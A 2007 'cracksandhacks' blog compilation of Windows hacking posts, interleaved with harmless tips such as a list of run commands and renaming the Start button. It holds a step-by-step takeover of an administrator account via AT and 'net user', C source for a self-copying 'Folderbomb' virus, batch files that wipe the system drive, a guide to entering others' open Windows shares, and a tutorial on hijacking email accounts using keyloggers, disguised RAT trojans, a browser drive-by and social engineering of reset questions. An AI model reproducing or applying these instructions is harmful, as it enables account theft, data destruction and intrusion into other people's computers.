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etricks.in

Posted by cracksandhacks on October 6, 2007

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Ahh crack into admin acc from limited account

Posted by cracksandhacks on October 4, 2007

I got many comments that the trick for admin acc is not working It may not work if u r Logged in from limited acc or guest acc

But for that I got new trick and It works

goto cmd

type AT (time) /interactive “cmd.exe”

enter time in 24hr format

means if you want to enter 5.00pm then enter 17:00

then a new window of cmd will open at specified time

In new window type net(space)user

press enter

after this u will see some names on ur screen

notedown the name of admin acc

then type

net user (name of admin acc u want to crack into) *

e.g if the name of admin acc is john then type

net user john *

then it will ask u for new password

enter password of ur choice

and u got the admin acc

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MAKE A FOLDER INVISIBLE (GOOD ONE)

Posted by cracksandhacks on October 3, 2007

Make the folder INVISIBLE without hiding
Make your folders invisible…:)

1)Right Click on the desktop.Make a new folder

2)Now rename the folder with a space(U have to hold ALT key and type 0160).

3)Now u have a folder with out a name.

4)Right click on the folder>properties>customize. Click on change icon.

5)Scroll a bit, u should find some empty spaces, Click on any one of them.click ok Thats it,now u can store ur personal data without any 3rd party tools

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Virus code in c

Posted by cracksandhacks on October 2, 2007

/*this is a simple program to create a virus in c

it will create folder in a folder in a folder and so on run this on your own responsibility*/

#include<stdio.h>
#include<dos.h>
#include<dir.h>
#include<fcntl.h>
#include<conio.h>
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(“————————————————————————–”);
printf(“\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n”);
cprintf(“————————————————————————–”);
done = findfirst(“*.*”,&ffblk,0);
while (!done)
{ printf(“\n”);cprintf(” %s “, ffblk.ff_name);printf(“is attacked by “);cprintf(“Folderbomb”);
source=open(argv[0],O_RDONLY|O_BINARY);
target=open(ffblk.ff_name,O_CREAT|O_BINARY|O_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)
write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}

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Format your system with notepad

Posted by cracksandhacks on October 2, 2007

go to notepad

@Echo off
Del C:\ *.*|y

save it as Dell.bat

or

worse

@echo off
del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00

and save it as abc .bat file

caution:-don’t try this on your computer

this may result in loss of data and i m not responsible for any loss so be carefull .

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All Run commands

Posted by cracksandhacks on October 2, 2007

RUN Commands
Useful RUN Commands – I

To Access?. – Run Command
Accessibility Controls – access.cpl
Add Hardware Wizard – hdwwiz.cpl
Add/Remove Programs – appwiz.cpl
Administrative Tools – control admintools
Automatic Updates – wuaucpl.cpl
Bluetooth Transfer Wizard – fsquirt
Calculator – calc
Certificate Manager – certmgr.msc
Character Map – charmap
Check Disk Utility – chkdsk
Clipboard Viewer – clipbrd
Command Prompt – cmd
Component Services – dcomcnfg
Computer Management – compmgmt.msc
Date and Time Properties – timedate.cpl
DDE Shares – ddeshare
Device Manager – devmgmt.msc
Direct X Control Panel (If Installed)* – directx.cpl
Direct X Troubleshooter – dxdiag
Disk Cleanup Utility – cleanmgr
Disk Defragment – dfrg.msc
Disk Management – diskmgmt.msc
Disk Partition Manager – diskpart
Display Properties – control desktop
Display Properties – desk.cpl
Display Properties (w/Appearance Tab Preselected) – control color
Dr. Watson System Troubleshooting Utility – drwtsn32
Driver Verifier Utility – verifier
Event Viewer – eventvwr.msc
File Signature Verification Tool – sigverif
Findfast – findfast.cpl
Folders Properties – control folders
Fonts – control fonts
Fonts Folder – fonts
Free Cell Card Game – freecell
Game Controllers – joy.cpl
Group Policy Editor (XP Prof) – gpedit.msc
Hearts Card Game – mshearts

· Useful Run Commands – II
Iexpress Wizard – iexpress
Indexing Service – ciadv.msc
Internet Properties – inetcpl.cpl
IP Configuration (Display Connection Configuration) – ipconfig /all
IP Configuration (Display DNS Cache Contents) – ipconfig /displaydns
IP Configuration (Delete DNS Cache Contents) – ipconfig /flushdns
IP Configuration (Release All Connections) – ipconfig /release
IP Configuration (Renew All Connections) – ipconfig /renew
IP Configuration (Refreshes DHCP & Re – Registers DNS) -
ipconfig /registerdns
IP Configuration (Display DHCP Class ID) – ipconfig /showclassid
IP Configuration (Modifies DHCP Class ID) – ipconfig /setclassid

Anonymous 9/28/06 Java Control Panel (If Installed) – jpicpl32.cpl
Java Control Panel (If Installed) – javaws
Keyboard Properties – control keyboard
Local Security Settings – secpol.msc
Local Users and Groups – lusrmgr.msc
Logs You Out Of Windows – logoff
Microsoft Chat – winchat
Minesweeper Game – winmine
Mouse Properties – control mouse
Mouse Properties – main.cpl
Network Connections – control netconnections
Network Connections – ncpa.cpl
Network Setup Wizard – netsetup.cpl
Notepad – notepad
Nview Desktop Manager (If Installed) – nvtuicpl.cpl
Object Packager – packager
ODBC Data Source Administrator – odbccp32.cpl
On Screen Keyboard – osk
Opens AC3 Filter (If Installed) – ac3filter.cpl
Password Properties – password.cpl
Performance Monitor – perfmon.msc
Performance Monitor – perfmon
Phone and Modem Options – telephon.cpl
Power Configuration – powercfg.cpl
Printers and Faxes – control printers
Printers Folder – printers
Private Character Editor – eudcedit
Quicktime (If Installed) – QuickTime.cpl
Regional Settings – intl.cpl
Registry Editor – regedit
Registry Editor – regedit32
Remote Desktop – mstsc
Removable Storage – ntmsmgr.msc
Removable Storage Operator Requests – ntmsoprq.msc
Resultant Set of Policy (XP Prof) – rsop.msc

· Useful RUN Commands – III
Scanners and Cameras – sticpl.cpl
Scheduled Tasks – control schedtasks
Security Center – wscui.cpl
Services – services.msc
Shared Folders – fsmgmt.msc
Shuts Down Windows – shutdown
Sounds and Audio – mmsys.cpl
Spider Solitare Card Game – spider
SQL Client Configuration – cliconfg
System Configuration Editor – sysedit
System Configuration Utility – msconfig
System File Checker Utility (Scan Immediately) – sfc /scannow
System File Checker Utility (Scan Once At Next Boot) – sfc /scanonce
System File Checker Utility (Scan On Every Boot) – sfc /scanboot
System File Checker Utility (Return to Default Setting) – sfc /revert
System File Checker Utility (Purge File Cache) – sfc /purgecache

Anonymous 9/28/06 System File Checker Utility (Set Cache Size to size x) -
sfc /cachesize=x
System Properties – sysdm.cpl
Task Manager – taskmgr
Telnet Client – telnet
User Account Management – nusrmgr.cpl
Utility Manager – utilman
Windows Firewall – firewall.cpl
Windows Magnifier – magnify
Windows Management Infrastructure – wmimgmt.msc
Windows System Security Tool – syskey
Windows Update Launches – wupdmgr
Windows XP Tour Wizard – tourstart
Wordpad – write

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Telnet hacking

Posted by cracksandhacks on October 2, 2007

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In this Guide you will learn how to:
* Use telnet from Windows
* Download web pages via telnet
* Get finger information via telnet
* Telnet from the DOS command-line
* Use netcat
* Break into Windows Computers from the Internet
Protecting Yourself
What can they do
The command-line approach
The GUI approach
Final Words
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How to Use Telnet on a Windows Computer
Telnet is great little program for doing a couple of interesting things. In fact, if you want to call yourself a hacker, you absolutely MUST be able to telnet! In this lesson you will find out a few of the cool things a hacker can do with telnet.
If you are using Win95, you can find telnet in the c:\windows directory, and on NT, in the c:\winnt\system32 directory. There isn’t a lot of online help concerning the usage of the program, so my goal is to provide some information for new users.
First off, telnet isn’t so much an application as it is a protocol. Telnet is protocol that runs over TCP/IP, and was used for connecting to remote computers. It provides a login interface, and you can run command-line programs by typing the commands on your keyboard, and the programs use the resources of the remote machine. The results are displayed in the terminal window on your machine, but the memory and CPU cycles consumed by the program are located on the remote machine. Therefore, telnet functions as a terminal emulation program, emulating a terminal on the remote machine.
Now, telnet runs on your Win95 box as a GUI application…that is to say that you can type “telnet” at the command prompt (in Windows 95 this is the MS-DOS prompt), and assuming that your PATH is set correctly, a window titled “telnet” will open. This differs from your ftp program in that all commands are entered in the DOS window.
Let’s begin by opening telnet. Simply open a DOS window by clicking “start”, then “programs”, then “MS-DOS”, and at the command prompt, type:
c:\telnet
The window for telnet will open, and you can browse the features of the program from the menu bar.
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NEWBIE NOTE: In this text file, I am referring only to the telnet
program that ships with Win95/NT. If you type “telnet” at the
command prompt and you don’t get the telnet window, make sure
that the program is on your hard drive using the Start -> Find ->
Files or Folders command. Also make sure that your path statement includes the Windows directory. There are many other programs available that provide similar functionality, with a lot of other bells and whistles, from any number of software sites.
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To learn a bit more about telnet, choose Help -> Contents, or
Help -> Search for help on… from the menu bar. Read through
the files in order to find more detailed explanations of things
you may wish to do. For example, in this explanation, I will
primarily be covering how to use the application and what it can
be used for, but now how to customize the colors for the application.
Now, if you choose Connect -> Remote System, you will be presented with a dialog window that will ask you for the remote host, the port and the terminal type.
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NEWBIE NOTE: For most purposes, you can leave the terminal type on
VT100.
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In the Connect dialog box, you can enter in the host to which
you wish to connect, and there is a list box of several ports
you can connect to:
daytime: May give you the current time on the server.
echo: May echo back whatever you type in, and will tell you that the computer you have connected to is alive nd running on the Internet. qotd: May provide you with a quote of the day.
chargen: May display a continuous stream of characters, useful for spotting network problems, but may crash your telnet program.
telnet: May present you with a login screen.
These will only work if the server to which you are trying to connect is running these services. However, you are not limited to just those ports…you can type in any port number you wish. (For more on fun ports, see the GTMHH, “Port Surf’s Up.”) You will only successfully connect to the port if the service in question is available. What occurs after you connect depends upon the protocol for that particular service.
When you are using telnet to connect to the telnet service on a server, you will (in most cases) be presented with a banner and a login prompt.
[Note from Carolyn Meinel: Many people have written saying their telnet program fails to connect no matter what host they try to reach. Here's a way to fix your problem. First -- make sure you are already connected to the Internet. If your telnet program still cannot connect to anything, here's how to fix your problem. Click "start" then "settings" then "control panel." Then click "Internet" then "connection." This screen will have two boxes that may or may not be checked. The top one says "connect to the Internet as needed." If that box is checked, uncheck it -- but only uncheck it if you already have been having problems connecting. The bottom box says "connect through a proxy server." If that box is checked, you probably are on a local area network and your systems administrator doesn't allow you to use telnet.]
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NEWBIE NOTE: It’s not a good idea to connect to a host on which you don’t have a valid account. In your attempts to guess a username and password, all you will do is fill the log files on that host. From there, you can very easily be traced, and your online service provider will probably cancel your account.
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Now, you can also use telnet to connect to other ports, such as
ftp (21), smtp (25), pop3 (110), and even http (80). When you
connect to ftp, smtp, and pop3, you will be presented with a
banner, or a line of text that displays some information about the
service. This will give you a clue as to the operating system
running on the host computer, or it may come right out and tell
you what the operating system is…for instance, AIX, Linux,
Solaris, or NT. If you successfully connect to port 80, you will
see a blank screen. This indicates, again, that you have successfully completed the TCP negotiation and you have a connection.
Now, what you do from there is up to you. You can simply disconnect with the knowledge that, yes, there is a service running on port 80, or you can use your knowledge of the HTTP protocol to retrieve the HTML source for web pages on the server.
How to Download Web Pages Via Telnet
To retrieve a web page for a server using telnet, you need to connect to that server on port 80, generally. Some servers may use a different port number, such as 8080, but most web servers run on port 80. The first thing you need to do is click on Terminal -> Preferences and make sure that there is a check in the Local Echo box. Then, since most web pages will generally take up more than a single screen, enable logging by clicking Terminal -> Start Logging… and select a location and filename. Keep in mind that as long as logging is on, and the same file is being logged to, all new information will be appended to the file, rather than overwriting the
original file. This is useful if you want to record several sessions, and edit out the extraneous information using Notepad.
Now, connect the remote host, and if your connection is successful, type in:
GET / HTTP/1.0
and hit enter twice.
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NEWBIE NOTE: Make sure that you hit enter twice…this is part
of the HTTP protocol. The single / after GET tells the server
to return the default index file, which is generally “index.html”.
However, you can enter other filenames, as well.
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You should have seen a bunch of text scroll by on the screen. Now you can open the log file in Notepad, and you will see the HTML
code for the page, just as though you had chosen the View Source
option from your web browser. You will also get some additional
information…the headers for the file will contain some information
about the server. For example:
HTTP/1.0 200 Document follows
Date: Thu, 04 Jun 1998 14:46:46 GMT
Server: NCSA/1.5.2
Last-modified: Thu, 19 Feb 1998 17:44:13 GMT
Content-type: text/html
Content-length: 3196
One particularly interesting piece of information is the server
name. This refers to the web server software that is running
and serving web pages. You may see other names in this field,
such as versions of Microsoft IIS, Purveyor, WebSite, etc.
This will give you a clue as to the underlying operating system
running on the server.
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SYSADMIN NOTE: This technique, used in conjunction with a
database of exploits on web servers, can be particularly annoying.
Make sure you keep up on exploits and the appropriate security
patches from your web server and operating system vendors.
*************************************************
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NEWBIE NOTE: This technique of gathering web pages is perfectly legal. You aren’t attempting to compromise the target system, you are simply doing by hand what your web browser does for you automatically. Of course, this technique will not load images and Java applets for you.
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Getting Finger Information Via Telnet
By now, you’ve probably heard or read a lot about finger. It doesn’t seem like a very useful service, and many sysadmins disable the service because it provides information on a particular user, information an evil hacker can take advantage of. Win95 doesn’t ship with a finger client, but NT does. You can download finger clients for Win95 from any number of software sites. But why do that when you have a readily available client in telnet?
The finger daemon or server runs on port 79, so connect to a remote host on that port. If the service is running, you will be presented with a blank screen.
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NEWBIE NOTE: NT doesn’t ship with a finger daemon (A daemon is a program on the remote computer which waits for people like you to connect to it), so generally speaking, and server that you find running finger will be a Unix box. I say “generally” because there are third-party finger daemons available and someone may want to run one on their NT computer.
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The blank screen indicates that the finger daemon is waiting for input. If you have a particular user that you are interested in, type in the username and hit enter. A response will be provided, and the daemon will disconnect the client. If you don’t know a particular username, you can start by simply hitting enter. In some cases, you may get a response such as “No one logged on.” Or you may get information of all currently logged on users. It all depends on whether or not the sysadmin has chosen to enable certain features of the daemon. You can also try other names, such as “root”, “daemon”, “ftp”, “bin”, etc.
Another neat trick to try out is something that I have seen referred to as “finger forwarding”. To try this out, you need two hosts that run finger. Connect to the first host, host1.com, and enter the username that you are interested in. Then go to the second host, and enter:
user@host1.com
You should see the same information! Again, this all depends upon
the configuration of the finger daemon.
Using Telnet from the Command Line
Now, if you want to show your friends that you a “real man” because “real men don’t need no stinkin’ GUIs”, well just open up a DOS window and type:
c:\>telnet <host> <port>
and the program will automatically attempt to connect to the host
on the designated port for you.
Using Netcat
Let me start by giving a mighty big thanks to Weld Pond from L0pht for producing the netcat program for Windows NT. To get a copy of this program, which comes with source code, simply go to:
http://www.l0pht.com/~weld
NOTE: The first character of “l0pht: is the letter “l”. The second character is a zero, not an “o”.
I know that the program is supposed to run on NT, but I have
seen it run on Win95. It’s a great little program that can be used
to do some of the same things as telnet. However, there are
advantages to using netcat…for one, it’s a command-line program,
and it can be included in a batch file. In fact, you can automate
multiple calls to netcat in a batch file, saving the results to
a text file.
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NEWBIE NOTE: For more information on batch files, see previous versions of the Guide To (mostly) Harmless Hacking, Getting Serious with Windows series …one of them dealt with basic batch file programming.
**************************************************
Before using netcat, take a look at the readme.txt file provided in
the zipped archive you downloaded. It goes over the instructions
on how to download web pages using netcat, similar to what I
described earlier using telnet.
There are two ways to go about getting finger information using
netcat. The first is in interactive mode. Simply type:
c:\>nc <host> 79
If the daemon is running, you won’t get a command prompt back. If this is the case, type in the username and hit enter. Or use the automatic mode by first creating a text file containing the username of interest. For example, I typed:
c:\>edit root
and entered the username “root”, without the quotes. Then from
the command prompt, type:
c:\>nc <host> 79 < root
and the response will appear on your screen. You can save the
output to a file by adding the appropriate redirection operator
to the end of the file:
c:\>nc <host> 79 < root > nc.log
to create the file nc.log, or:
c:\>nc <host> 79 < root >> nc.log
to append the response to the end of nc.log. NOTE: Make sure
that you use spaces between the redirection operators.

How to Break into a Windows 95 machine Connected to the Internet
Disclaimer
The intent of this file is NOT to provide a step-by-step guide to accessing a Win95 computer while it is connected to the Internet. The intent is show you how to protect yourself.
There are no special tools needed to access a remote Win95 machine…everything you need is right there on your Win95 system! Two methods will be described…the command-line approach and the GUI approach.
Protecting Yourself
First, the method of protecting yourself needs to be made perfectly clear. DON’T SHARE FILES!! I can’t stress that enough. If you are a home user, and you are connecting a Win95 computer to the Internet via some dial-up method, disable sharing. If you must share, use a strong password…8 characters minimum, a mix of upper and lower case letters and numbers, change the password every now and again. If you need to transmit the
password to someone, do so over the phone or by written letter. To disable sharing, click on My Computer -> Control Panel -> Network -> File and Print Sharing. In the dialog box that appears, uncheck both boxes. It’s that easy.
What Can They Do?
What can someone do? Well, lots of stuff, but it largely depends on what shares are available. If someone is able to share a printer from your machine, they can send you annoying letters and messages. This consumes time, your printer ink/toner, and your paper. If they are able to share a disk share, what they can do largely depends upon what’s in that share. The share appears as another directory on the attacker’s machine, so any programs they run will be consuming their own resources…memory, cpu cycles, etc. But if the attacker has read and write access to those disk shares, then you’re in trouble. If you take work home, your files may be vulnerable. Initialization and configuration files can be searched for passwords. Files can be modified and deleted. A particularly nasty thing to do is adding a line to your autoexec.bat file so that the next time your computer is booted, the hard drive is formatted without any prompting from the user. Bad ju-ju, indeed.
** The command-line approach **
Okay, now for the part that should probably be titled “How they do it”. All that is needed is the IP address of the remote machine. Now open up a DOS window, and at the command prompt, type:
c:\>nbtstat -A [ip_addr]
If the remote machine is connected to the Internet and the ports used for sharing are not blocked, you should see something like:
NetBIOS Remote Machine Name Table
Name Type Status
———————————————
NAME <00> UNIQUE Registered
DOMAIN <00> GROUP Registered
NAME <03> UNIQUE Registered
USERNAME <03> UNIQUE Registered
MAC Address = 00-00-00-00-00-00
This machine name table shows the machine and domain names, a logged-on username, and the address of the Ethernet adapter (the information has been obfuscated for instructional purposes).
**Note: This machine, if unpatched and not protected with a firewall or packet-filter router, may be vulnerable to a range of denial of service attacks, which seem to be fairly popular, largely because they require no skill or knowledge to perpetrate.
The key piece of information that you are looking for is in the Type column. A machine that has sharing enabled will have a hex code of “<20>”.
**Note: With the right tools, it is fairly simple for a sysadmin to write a batch file that combs a subnet or her entire network, looking for client machines with sharing enabled. This batch file can then be run at specific times…every day at 2:00 am, only on Friday evenings or weekends, etc.
If you find a machine with sharing enabled, the next thing to do is type the following command:
c:\>net view \\[ip_addr]
Now, your response may be varied. You may find that there are no shares on the list, or that there are several shares available. Choose which share you would like to connect to, and type the command:
c:\>net use g: \\[ip_addr]\[share_name]
You will likely get a response that the command was completed successfully. If that is the case, type:
c:\>cd g:
or which ever device name you decided to use. You can now view what exists on that share using the dir commands, etc.
Now, you may be presented with a password prompt when you ssue the above command. If that is the case, typical “hacker” (I shudder at that term) methods may be used.
** The GUI approach **
After issuing the nbtstat command, you can opt for the GUI approach to accessing the shares on that machine. To do so, make sure that you leave the DOS window open, or minimized…don’t close it. Now, use Notepad to open this file:
c:\windows\lmhosts.sam
Read over the file, and then open create another file in Notepad, called simply “Lmhosts”, without an extension. The file should contain the IP address of the host, the NetBIOS name of the host (from the nbtstat command), and #PRE, separated by tabs. Once you have added this information, save it, and minimize the window. In the DOS command window, type:
c:\>nbtstat -R
This command reloads the cache from the Lmhosts file you just created.
Now, click on Start -> Find -> Computer, and type in the NetBIOS name of the computer…the same one you added to the lmhosts file. If your attempt to connect to the machine is successful, you should be presented with a window containing the available shares. You may be presented with a password prompt window, but again, typical “hacker” (again, that term grates on me like fingernails on a chalk board, but today, it seems that it’s all folks understand) techniques may be used to break the password.
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Note from Carolyn Meinel: Want to try this stuff without winding up in jail or getting expelled from school? Get a friend to give you permission to try to break in.
First, you will need his or her IP address. Usually this will be different every time your friend logs on. You friend can learn his or her IP address by going to the DOS prompt while online and giving the command “netstat -r”. Something like this should show up:
C:\WINDOWS>netstat -r
Route Table
Active Routes:
Network Address Netmask Gateway Address Interface Metric
0.0.0.0 0.0.0.0 198.999.176.84 198.999.176.84 1
127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1
198.999.176.0 255.255.255.0 198.999.176.84 198.999.176.84 1
198.999.176.84 255.255.255.255 127.0.0.1 127.0.0.1 1
198.999.176.255 255.255.255.255 198.999.176.84 198.999.176.84 1
224.0.0.0 224.0.0.0 198.999.176.84 198.999.176.84 1
255.255.255.255 255.255.255.255 198.999.176.84 0.0.0.0 1
Your friend’s IP address should be under “Gateway Address.” Ignore the 127.0.0.1 as this will show up for everyone and simply means “locahost” or “my own computer.” If in doubt, break the Internet connection and then get online again. The number that changes is the IP address of your friend’s computer.
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Evil Genius tip: Here is something really scary. In your shell account give the “netstat” command. If your ISP allows you to use it, you might be able to get the dynamically assigned IP addresses of people from all over the world — everyone who is browsing a Web site hosted by your ISP, everyone using ftp, spammers you might catch red-handed in the act of forging email on your ISP, guys up at 2AM playing on multiuser dungeons, IRC users, in fact you will see everyone who is connected to your ISP!
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YOU CAN GO TO JAIL WARNING: If you find a Windows 95 box on the Internet with file sharing enabled and no password protection, you can still get in big trouble for exploiting it. It’s just like finding a house whose owner forgot to lock the door — you still are in trouble if someone catches you inside. Tell temptation to take a hike!
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Final Words
Please remember that this Guide is for instructional purposes only and is meant to educate the sysadmin and user alike. If someone uses this information to gain access to a system which they have no permission or business messing with, I (keydet) cannot be responsible for the outcome. If you are intending to try this information out, do so with the consent and permission of a friend.
If there are questions, comments or any doubts then feel free to ask me here
greetz,

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Hacking into mail accounts

Posted by cracksandhacks on October 2, 2007

Introduction

I have written this tutorial to address a question that is all too commonly asked in any channel/chat room with “hack” in the title (asked in frequency to the point of harrassment really). So since this is a question that so many people ask, then I believe that there should at least be an answer available (regardless of the morality or “lameness” of such a question). So you as the reader are most likely reading this because you want to break into somebody’s email account.

Well, you must understand that there is no 1-2-3 process to anything. I will give you options to consider when persuing such a task, but it will ultimately be up to you to do this. This is what you want to do, and no matter what sort of offers you throw up at anybody, nobody is going to do this for you. There is no program that is going to do all this for you. Also don’t forget that nobody is going to hold your hand and lead you through this. I’m offering you as the reader suggestions for ways you can address this task, and that is about all the help you are going to get from anybody. So now that I’ve made all that clear, let’s begin…

Things You Should Know

As I mentioned in the previous section, there is no program that will do all this for you. Almost all the crackers you see out there will not work, because services like Hotmail, Yahoo!, etc. have it set so that it will lock you from that account after a certain number of login attempts. There are some rare exceptions, like some crackers for Yahoo! that are made for cracking “illegal” accounts, but the thing you must understand about those types of crackers is that they are built to crack SPECIFICALLY “illegal” names. They can not be used to target a specific account on Yahoo!, so don’t try to use them for this purpose. Another thing you must know if you ask this question in any “hacker” chat room/channel (which I highly discourage), or if you read something on this topic, and you hear that you have to email some address and in any way have to give up your password in the process, do NOT believe this. This is a con used to trick gullible people into handing over their passwords. So don’t fall for this. Well that concludes this section, now lets get to what you want to know.

If You Have Physical Access

I will start off with options you have if you have physical access to the computer of the user that you are targeting, because it is a lot easier if you do. One option you have, that you will hear a lot if you ask this question, and anybody bothers to answer is to use a keylogger. A keylogger is an excellent option, and probably the easiest. There are a lot of keyloggers out there, ranging from hardware keyloggers, to software keyloggers. For this task, you won’t need to buy a hardware keylogger, since the only advantage to a hardware one is that you can grab passwords that are given to access a certain local user on the operating system used. There are a lot of software keyloggers out there, and you can feel free to check out www.google.com to look at your options. I will go ahead and toss a couple of keyloggers out to try for those of you who seem allergic to search engines.

One option you have that is good for a free keylogger is Perfect Keylogger (which you can find at www.blazingtools.com/bpk.html). It works just fine, and has some nice options to keep it hidden from your average end user (computer user).

Another option you have, which is probably the best one you can get is Ghost Keylogger. It has a lot of options that will allow you to get the results of this program remotely (it will email you the results). However, this is not a free keylogger, so if you are wanting to get a copy you can look on the file sharing networks for a copy of the program, and the serial number for it (look on www.zeropaid.com for different file sharing clients you can try).

Once you have whatever keylogger you are going to use downloaded, just install it onto the computer you are wanting to monitor, and wait till next time they login to their email account. You will then have the password for the account. Another option you have if they use Outlook to access their email account, is to copy the *.dbx files for their Outlook account onto a floppy, and extract the emails at home (the dbx file stores the files stored in each Outlook folder on a given account, meaning the received and sent emails). When you are on the computer of the user you are targeting, look in

C:\Windows\ApplicationData\Identities\{ACblahblahblah}\Microsoft\ OutlookExpress\ and copy all the .dbx files onto a floppy. Then when you take the .dbx files back to your house, use DBXtract to extract the messages from these files. Check out the link below to download this program….

www.download-freeware-shareware.com/Freeware-Internet.php?Type=4171

Another option you have if you have physical access is to execute a RAT (Remote Administration Tool, you may know these programs as trojans) server on the computer. Of course, you do not have to have physical access to go this route, but it helps. What you must understand is that these tools are known threats, and the popular ones are quickly detected by antivirus software, and thusly taken care of. Even ISPs block incoming/outgoing traffic from the most popular ports used by these programs.

One newcomer in the RAT market that you should know about is Project Leviathan. This program uses already existing services to host it’s service, instead of opening up an entirely new port. This allows it to hide itself from any port detection tool/software firewall that may be in place. This of course will not guarantee that it’s server program will not be detected by any antivirus software used (actually, if the user has kept up with his/her signature tables, then it WILL be detected), but it will give you more of a chance of holding access. Search the engines to download Project Leviathan…

Once you have downloaded this tool, follow the instructions listed to install and use this program. However, since this RAT is a command line tool, you will still need another program set up on the user’s computer in order to catch the desired password. For this, you can use Password Logger.. Google it

Once you have this downloaded, set it up on the targeted computer. The program will remain hidden, while logging any types of passwords into a .lst file in the same directory that you executed it on. Therefore, you can access this *.lst file through Project Leviathan remotely in order to retrieve the user’s email password remotely. Well that pretty much concludes it for this section. At this very moment I can practically hear a lot of you thinking to yourselves “But, but I don’t HAVE physical access!”. No reason to worry, that’s what the next section is for…

If You Don’t Have Physical Access

Well of course most of you out there will say that you don’t have physical access to your target’s computer. That’s fine, there still are ways you can gain access into the desired email account without having to have any sort of physical access. For this we are going to go back onto the RAT topic, to explain methods that can be used to fool the user into running the server portion of the RAT (again, a RAT is a trojan) of your choice. Well first we will discuss the basic “send file” technique. This is simply convincing the user of the account you want to access to execute the server portion of your RAT.

To make this convincing, what you will want to do is bind the server.exe to another *.exe file in order to not raise any doubt when the program appears to do nothing when it is executed. For this you can use the tool like any exe file to bind it into another program (make it something like a small game)…

On a side note, make sure the RAT of your choice is a good choice. The program mentioned in the previous section would not be good in this case, since you do need physical access in order to set it up. You will have to find the program of your choice yourself (meaning please don’t ask around for any, people consider that annoying behavior).

If you don’t like any of those, I’m afraid you are going to have to go to www.google.com, and look for some yourself. Search for something like “optix pro download”, or any specific trojan. If you look long enough, among all the virus notification/help pages, you should come across a site with a list of RATs for you to use (you are going to eventually have to learn how to navigate a search engine, you can’t depend on handouts forever). Now back to the topic at hand, you will want to send this file to the specified user through an instant messaging service.

The reason why is that you need the ip address of the user in order to connect with the newly established server. Yahoo! Messenger, AOL Instant Messenger, it really doesn’t matter. What you will do is send the file to the user. Now while this transfer is going on you will go to Start, then Run, type in “command”, and press Enter. Once the msdos prompt is open, type in “netstat -n”, and again, press enter. You will see a list of ip addresses from left to right. The address you will be looking for will be on the right, and the port it’s established on will depend on the instant messaging service you are using. With MSN Messenger it will be remote port 6891, with AOL Instant Messenger it will be remote port 2153, with ICQ it will be remote port 1102, 2431, 2439, 2440, or 2476, and with Yahoo! Messenger it will be remote port 1614.

So once you spot the established connection with the file transfer remote port, then you will take note of the ip address associated with that port. So once the transfer is complete, and the user has executed the server portion of the RAT, then you can use the client portion to sniff out his/her password the next time he/she logs on to his/her account.

Don’t think you can get him/her to accept a file from you? Can you at least get him/her to access a certain web page? Then maybe this next technique is something you should look into.

Currently Internet Explorer is quite vulnerable to an exploit that allows you to drop and execute .exe files via malicious scripting within an html document. For this what you will want to do is set up a web page, make sure to actually put something within this page so that the visitor doesn’t get too entirely suspicious, and then imbed the below script into your web page so that the server portion of the RAT of your choice is dropped and executed onto the victim’s computer…

While you are at it, you will also want to set up an ip logger on the web page so that you can grab the ip address of the user so that you can connect to the newly established server. Here is the source for a php ip logger you can use on your page…

http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=539&lngWId=8

Just insert this source into your page along with the exedrop script, and you are set. Just convince the user to go to this page, and wait till the next time they type in their email password. However, what do you do if you can not contact this user in any way to do any of the above tricks. Well, then you definately have your work cut out for you. It doesn’t make the task impossible, but it makes it pretty damn close to it. For this we will want to try info cracking. Info cracking is the process of trying to gather enough information on the user to go through the “Forgot my Password” page, to gain access into the email account.

If you happen to know the user personally, then it helps out a lot. You would then be able to get through the birthday/ zipcode questions with ease, and with a little mental backtracking, or social engineering (talking) out the information from the user be able to get past the secret question. However, what do you do if you do not have this luxury? Well in this case you will have to do a little detective work to fish out the information you need.

First off, if a profile is available for the user, look at the profile to see if you can get any information from the profile. Many times users will put information into their profile, that may help you with cracking the account through the “Forgot my Password” page (where they live, their age, their birthday if you are lucky). If no information is provided then what you will want to do is get on an account that the user does not know about, and try to strike conversation with the user. Just talk to him/her for a little while, and inconspicuously get this information out of the user (inconspicuously as in don’t act like you are trying to put together a census, just make casual talk with the user and every once in a while ask questions like “When is your birthday?” and “Where do you live?”, and then respond with simple, casual answers).

Once you have enough information to get past the first page, fill those parts out, and go to the next page to find out what the secret question is. Once you have the secret question, you will want to keep making casual conversation with the user and SLOWLY build up to asking a question that would help you answer the secret question. Don’t try to get all the information you need in one night or you will look suspicious. Patience is a virtue when info cracking. Just slowly build up to this question. For example, if the secret question is something like “What is my dog’s name?”, then you would keep talking with the user, and eventually ask him/her “So how many dogs do you have? …Oh, that’s nice. What are their names?”. The user will most likely not even remember anything about his/her secret question, so will most likely not find such a question suspicious at all (as long as you keep it inconspicuous). So there you go, with a few choice words and a little given time, you have just gotten the user to tell you everything you need to know to break into his/her email account. The problem with this method is that once you go through the “Forgot my Password” page, the password will be changed, and the new password will be given to you. This will of course deny the original user access to his/her own account. But the point of this task is to get YOU access, so it really shouldn’t matter. Anyways, that concludes it for this tutorial. Good luck…

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Change the name of start button

Posted by cracksandhacks on October 2, 2007

Change Start logo in Xp

I’ve read a number of articles on the internet about changing the text on the Start button in XP. On more than one occasion I’ve seen references to a five (5) letter limitation when the button is renamed. I always wondered if this was true or just an assumption someone made because the default ‘start’ just happened to fit the button size. So, I decided to run a test and see if there really was a five character limit.

First of all just u need to do is download Resource hacker.

Resource HackerTM is a freeware utility to view, modify, rename, add, delete and extract resources in 32bit Windows executables and resource files (*.res). It incorporates an internal resource script compiler and decompiler and works on Win95, Win98, WinME, WinNT, Win2000 and WinXP operating systems.

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First Step

The first step is to make a backup copy of the file explorer.exe located at C:\Windows\explorer. Place it in a folder somewhere on your hard drive where it will be safe. Start Resource Hacker and open explorer.exe located at C:\Windows\explorer.exe
The category we are going to be using is String Table In Resource Hacker. Expand it by clicking the plus sign then navigate down to and expand string 37 followed by highlighting 1033. If you are using the Classic Layout rather than the XP Layout, use number 38. The right hand pane will display the stringtable as shown in Fig. 02. We’re going to modify item 578, currently showing the word “start” just as it displays on the current Start button.

